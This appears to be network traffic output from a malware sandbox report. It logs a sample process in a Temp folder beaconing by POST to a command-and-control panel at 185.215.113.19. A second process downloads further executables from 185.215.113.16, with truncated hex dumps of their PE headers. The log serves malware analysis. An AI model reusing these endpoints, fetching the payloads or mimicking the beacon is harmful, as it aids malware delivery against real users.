Jul 26, 2024 08:57:51.233985901 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:57:52.030714989 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:52.033219099 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:57:52.287641048 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49758	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:52.405910015 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:57:53.152662992 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:53.165880919 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:57:53.414496899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49759	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:53.551291943 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:57:54.345634937 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:54.355026007 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:57:54.621666908 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49763	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:54.734452963 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:57:55.739399910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:55.740519047 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:57:55.744458914 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:55.998333931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49768	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:56.108164072 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:57:56.854252100 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:56.855285883 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:57:57.101823092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49773	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:57.220408916 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:57:57.994384050 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:57.997195005 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:57:58.273627996 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49779	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:58.417380095 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:57:59.165221930 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:59.166027069 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:57:59.419147015 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49784	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:59.562936068 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:58:00.348344088 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:58:00.372567892 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:58:00.654515982 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49787	185.215.113.16	80	8108	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:59.811012030 CEST	80	OUT	GET /soka/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Jul 26, 2024 08:58:00.580471992 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:00 GMT Content-Type: application/octet-stream Content-Length: 1917952 Last-Modified: Fri, 26 Jul 2024 06:16:57 GMT Connection: keep-alive ETag: "66a33f59-1d4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 20 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PEL@f L@PLy@WkLLL @.rsrc@.idata @ 0+@lsmjcynp01*@bndcrfmaL@.taggant0 L""@
Jul 26, 2024 08:58:00.580570936 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 26, 2024 08:58:00.580584049 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 26, 2024 08:58:00.580928087 CEST	492	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 26, 2024 08:58:00.580939054 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: >}N9l,B!-&-XYpV&#_f#8!xrgh<e7-~^rq
Jul 26, 2024 08:58:00.580950975 CEST	1236	IN	Data Raw: f0 31 ff c2 38 c6 74 42 40 20 60 1f 22 07 7d de 7d c3 bc 9b c9 36 e8 e1 e9 27 14 3e 2c 67 b8 48 c0 86 5e 92 72 82 72 fd 67 e2 74 9e 41 03 5f 86 a9 00 58 1e 4c 67 7e fe 80 30 7f f0 22 72 0e f2 5c 21 e3 fd 10 b8 1f 4e 19 66 15 b2 c2 e6 83 c5 b0 a6 Data Ascii: 18tB@ `"}}6'>,gH^rrgtA_XLg~0"r\!Nf\|ilMq`> *=@~xBVKk>\&xL'}>0\|#p\|}i6?}C`&~RK6$i@To,vt18r@2<!CT@>Q!' d
Jul 26, 2024 08:58:00.580961943 CEST	1236	IN	Data Raw: 6e b4 bb 6a 22 b0 8d 23 84 92 0c 05 3e d9 b0 87 f3 ce 5a 7e f2 da 4c c6 85 97 2c 60 6e 5e b7 b4 34 ec af ff 2f 81 c6 2c e9 8d 98 e4 ef 81 e3 29 c1 83 78 cb 30 db 33 fb 2d dc b8 6a 78 30 0e c6 af b6 a4 45 44 5e c9 bc f2 06 29 0d c0 b5 51 da 89 10 Data Ascii: nj"#>Z~L,`n^4/,)x03-jx0ED^)QYx.9q93rMa@\cA)^n'znb7I-*d6>Sj6B~U"qhTORg\\|:E\|`&$>52vM;?oj`w
Jul 26, 2024 08:58:00.580974102 CEST	1236	IN	Data Raw: cd 3b 80 4d 0d c3 d8 09 80 d6 ad 1c 6c f4 4e 43 71 55 4f 6a ce 68 79 9e b3 f6 f7 05 6e bd 65 24 7a 47 0d e2 17 36 74 9b 9d 28 29 8b b5 2c 71 a5 c8 2f 37 e9 90 c8 66 1f ed 6d 19 4c 8f 3a a4 04 16 4e 00 af 2a 3e 1f fe 1e b7 92 4a 6a 1a 68 24 62 a5 Data Ascii: ;MlNCqUOjhyne$zG6t(),q/7fmL:N*>Jjh$bUa^j: B_\|$LWi"M0<;>V"Sf?E}Vp0j\B74gYFwy(r=A\RkCP5ZhE`y[6 x ~lGgiEU
Jul 26, 2024 08:58:00.581571102 CEST	656	IN	Data Raw: 94 a7 1e ad 55 46 d8 3a 80 6a 52 e7 68 ef bc c3 1b 42 fe 7b 20 08 1f 13 28 49 21 ec d2 1f 5c 3a 69 1b ab 8c 5d 2f 95 b1 e2 43 14 38 95 78 6d 58 98 4a 2d f1 a1 49 1f b2 67 81 67 dd 1f c9 9d af 09 0a 63 ff 48 bf 88 e0 57 81 cd cb 0e 4a e5 47 72 1b Data Ascii: UF:jRhB{ (I!\:i]/C8xmXJ-IggcHWJGrw1C)[f^Y'N>6bE\|`RC=M<Ea?"Tcw5#4)HMkiCqS6EjTD0GFm^U@!^n]~0v\pb-^~#z
Jul 26, 2024 08:58:00.581583977 CEST	1236	IN	Data Raw: d8 02 05 61 9a 1e d8 99 b5 38 c0 c7 b0 7e 75 92 23 e5 d4 0c 7b 7a 9d ef 8c 0b db 59 51 1b 46 d6 e2 b9 97 d6 1e 76 bd 00 d6 da 62 d1 5b ef e4 33 28 62 de f7 01 42 f8 95 b1 33 91 19 d3 39 38 89 49 84 6f 48 84 5b 18 f2 7e 5e b7 e5 c4 92 d2 0c fd a9 Data Ascii: a8~u#{zYQFvb[3(bB398IoH[~^pfql >vBzY!ObA,)'k[dL/Y"#b4&$GHdPBAlT"W`Xn]I+2[$Z mn3j?6p;wE5:
Jul 26, 2024 08:58:00.585640907 CEST	1236	IN	Data Raw: 6f 66 1f 96 39 1c e0 b0 09 9e d2 dc f5 43 b6 ce f2 c4 5d 19 c4 18 9a 45 d9 c2 73 c4 2a ef fe 87 0d dd 1d 3b d1 4f da 24 14 07 5d 6e 00 97 6b 8c 4c b6 52 07 00 d3 c0 4c 51 5f 1c f7 e0 c9 bd 3b 8d 77 df a5 d7 ff 96 f7 f7 e6 bf 08 4a cd 34 8d ad 71 Data Ascii: of9C]Es*;O$]nkLRLQ_;wJ4quM!0tP>5ppCDGXRs.W3_X;yAlQ6LplK(bsaKmt?@a&(rh-M^:W:Va
Jul 26, 2024 08:58:03.079232931 CEST	79	OUT	GET /mine/enter.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Jul 26, 2024 08:58:03.323882103 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:03 GMT Content-Type: application/octet-stream Content-Length: 1878528 Last-Modified: Fri, 26 Jul 2024 06:16:22 GMT Connection: keep-alive ETag: "66a33f36-1caa00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 10 41 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 50 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELAfPJ@J&,@Wk/J.J @.rsrc@.idata @ )@lddzjshm0@ytmlykrz@J@.taggant0PJ"@

